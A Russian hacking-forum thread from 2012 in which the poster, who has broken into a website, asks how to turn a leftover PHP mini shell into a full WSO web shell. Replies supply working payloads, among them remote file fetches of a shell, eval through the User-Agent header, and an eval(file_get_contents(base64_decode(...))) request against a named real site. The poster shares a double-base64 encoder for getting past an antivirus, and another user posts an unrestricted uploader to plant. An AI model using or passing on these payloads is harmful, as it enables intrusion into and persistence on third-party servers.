Мини шелл

Discussion in 'Песочница' started by Pirotexnik, 16 Apr 2012.

  1. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Доброго времени суток.

    Залился на сайт. Через время допустил ошибку и шелл снесли.
    Оставил на сайте мини шелл.
    Захожу, все работает, довольный сижу такой, думаю щас зальюсь. А тут ***....

    mshell.php?p1r0=phpinfo(); - GOOD
    mshell.php?p1r0=copy('http://site./wso.txt','./wso.php'); - BAD

    На сервере винда....

    От чего может такое быть? Как решать? Спасибо.
     
  2. ShellRoot

    ShellRoot Banned

    Joined:
    12 Apr 2012
    Messages:
    2
    Likes Received:
    3
    Reputations:
    -5
    http://base64.ru/
    Кодируешь PHP код, затем юзаешь так:
    mshell.php?p1r0=eval(base64_decode());
    без '', и если спец символы на хвосте ("равно" например), то просто убирай их.

    Думаю, должно сработать...
     
    1 person likes this.
  3. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Не помогло, но спасибо.
     
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    ShellRoot

    base64_decode тоже принимает стринг, поэтому кaвычки обязательны

    2 TC

    copy($_GET[a],$_GET);&a=...&b=

    или

    file_put_contents($_GET[a],file_get_contents($_GET));&a=&b=

    пригодится
    http://php.su/functions/?stripslashes
     
    _________________________
    #4 Konqi, 17 Apr 2012
    Last edited: 9 May 2012
    2 people like this.
  5. ShellRoot

    ShellRoot Banned

    Joined:
    12 Apr 2012
    Messages:
    2
    Likes Received:
    3
    Reputations:
    -5
    Konqi, сколько раз без кавычек делал норм, достаточно стринг сделать так:
    $a = (textstring);
    но вот если используются спец.символы, такие как точки и т.п тогда уже надо, но мы специально заюзали без "равно", или иначе заюзать из глобальной переменной
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    вот для начала и кури, что там выводится. Например allow_url_fopen = off - и всё, забудь про шелл с другого сайта - онли только грузить с локали.

    Хочешь грамотный ответ - давай инфу по ключевым позициям. Из того же phpinfo. Что такое "там" ключевые позиции - думай сам.

    PS: Прежде чем страдать херней и юзать всяческие аплоадеры - для начала найди папку, в которую ты можешь вообще писать в принципе, и проверить её еще на предмет запретных правил предварительно (ошибки вообще-то тоже фиксируются). На то у тебя уже есть огромные возможности - выполняется phpinfo() - Значит в твоем распоряжении вся мощь языка ПИЭЙЧПИ.

    Кстати, стыдно задавать такие вопросы, если phpinfo() выполняется. И никакие статьи это не реабилитируют.

    У тебя уже есть выполнение php-кода. Вообще-то это равно иметь шелл. Думай
     
    #6 Pashkela, 17 Apr 2012
    Last edited: 17 Apr 2012
    1 person likes this.
  7. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Pashkela, стыдно задавать такие вопросы, но если их не задавать, то стыдится прийдется всегда!

    Спасибо, вот щас сижу, думаю.

    Странно то, что под бэйс64 кавычки выполняются на ура... Тоесть mq тут не причем.

    UPD
    ________________________________________

    Пробовал осздать файл, не помогло, не создается.... Идеи?
     
    #7 Pirotexnik, 17 Apr 2012
    Last edited: 17 Apr 2012
  8. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108


    Еще как при чем. magic_quotes_gpc режет GPC массивы. Кавычки `бейсятся` и естественно пропускаются через magic_quotes попадая далее в последующую функцию.

    Далее по делу:

    http://site/?cmd=eval($_SERVER[HTTP_USER_AGENT]);


    И модифицируй к виду HEADER: HTTP_USER_AGENT-> file_put_content('uploader.php','upload php code');

    Это если php5 - если 4 пофантазируй. В пути также на директорию должны быть права.

    Я не знаю какие у тебя ограничения в твоем случае. Мб поможет, в данном случае использование не GPC массива снимет слеширование через magic_quotes и прозволит использовать кавычки и указывать пути.
     
    #8 Cennarios, 17 Apr 2012
    Last edited: 17 Apr 2012
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode(тут_без_кавычек_адрес_твоего_шелла_например_http://site/shell.txt_только_в_base64)));

    т.е. что-то типо этого:

    http://www.datingfast.com/wp-atom.php?p1r0=eval(file_get_contents(base64_decode(aHR0cDovL3NpdGUvd3NvMl9ldmFsLnR4dA)));

    НО, сначала почитай:

    http://forum.antichat.ru/thread191917.html

    посмотри на дату и пусть тебе станет стыдно :)

    PS: пох на права, шелл там льется за 2 секунды

    Не проверял, но по моему легко зальется wso pack shell - т.е. упакованный (размер имеет значение :) )
     
    #9 Pashkela, 17 Apr 2012
    Last edited: 17 Apr 2012
    2 people like this.
  10. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Никак не выходит... И не у меня одного, ещё пару человек пробовало. Далеко не новечки...
     
  11. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Фух! Залил.
    Проблемма была решена очень интерестно.

    Дело в том, что там появился антивирусник, который палил не только содержимое шелла, но и сам запрос. Помогло двойное base64 кодирование обоих!

    Вот скриптик.

    PHP:
    <form method=POST>
    Введите PHP код:<br>
    <textarea name="code" style="width: 344px; height: 133px;"></textarea><br>
    <input type=submit value="<?php $a="11З111а111к1111р111и111п11т11о11111в11а111т111ь11 111111111м111е111т11о11д1о111м111111111 111м1а111м111ы111"$a=explode("1",$a); $a=implode("",$a); echo $a?>">
    </form>
    <?php
    if(isset($_POST['code']))
     {
         
    $a base64_encode($_POST['code']);
         
    $a explode("=",$a);
         
    $a implode("",$a);
         
    $a base64_encode("eval(base64_decode(".$a."));");
         
    $a explode("=",$a);
         
    $a implode("",$a);
         echo 
    "<br>Ваш код:<br>\neval(base64_decode(".$a."));";
     }
    ?>
     
    1 person likes this.
  12. alextrust

    alextrust Member

    Joined:
    29 Mar 2010
    Messages:
    134
    Likes Received:
    27
    Reputations:
    11
    я аплоадер заливаю сразу,а потом шел

    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       <title>Max's File Uploader</title>
       <link href="style/style.css" rel="stylesheet" type="text/css" />
    </head>

    <body>
    <?php
    chdir
    ("..");
        
    $myUpload = new maxUpload(); 
        
    //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
        
    $myUpload->uploadFile();
    ?>
    <?php
    /*************************************************
     * Max's File Uploader
     *
     * Version: 1.0
     * Date: 2007-11-26
     *
     ****************************************************/
    class maxUpload{
        var 
    $uploadLocation;
        
        
    /**
         * Constructor to initialize class varaibles
         * The uploadLocation will be set to the actual 
         * working directory
         *
         * @return maxUpload
         */
        
    function maxUpload(){
            
    $this->uploadLocation getcwd().DIRECTORY_SEPARATOR;
        }

        
    /**
         * This function sets the directory where to upload the file
         * In case of Windows server use the form: c:\\temp\\
         * In case of Unix server use the form: /tmp/
         *
         * @param String Directory where to store the files
         */
        
    function setUploadLocation($dir){
            
    $this->uploadLocation $dir;
        }
        
        function 
    showUploadForm($msg='',$error=''){
    ?>
           <div id="container">
                <div id="header"><div id="header_left"></div>
                <div id="header_main"> File Uploader</div><div id="header_right"></div></div>
                <div id="content">
    <?php
    if ($msg != ''){
        echo 
    '<p class="msg">'.$msg.'</p>';
    } else if (
    $error != ''){
        echo 
    '<p class="emsg">'.$error.'</p>';

    }
    ?>
                    <form action="" method="post" enctype="multipart/form-data" >
                         <center>
                             <label>File:
                                 <input name="myfile" type="file" size="30" />
                             </label>
                             <label>
                                 <input type="submit" name="submitBtn" class="sbtn" value="Upload" />
                             </label>
                         </center>
                     </form>
                 </div>
                 <div id="footer"><a href="http://www.phpf1.com" target="_blank">Powered by PHP F1</a> <a href="http://www.zarabyte.com" target="_blank">Modded by: ZaraByte</a></div>
             </div>
    <?php
        
    }

        function 
    uploadFile(){
            if (!isset(
    $_POST['submitBtn'])){
                
    $this->showUploadForm();
            } else {
                
    $msg '';
                
    $error '';
                
                
    //Check destination directory
                
    if (!file_exists($this->uploadLocation)){
                    
    $error "The target directory doesn't exists!";
                } else if (!
    is_writeable($this->uploadLocation)) {
                    
    $error "The target directory is not writeable!";
                } else {
                    
    $target_path $this->uploadLocation basename$_FILES['myfile']['name']);

                    if(@
    move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
                        
    $msg basename$_FILES['myfile']['name']).
                        
    " was uploaded successfully!";
                    } else{
                        
    $error "The upload process failed!";
                    }
                }

                
    $this->showUploadForm($msg,$error);
            }

        }

    }
    ?>
    </body>
     
Loading...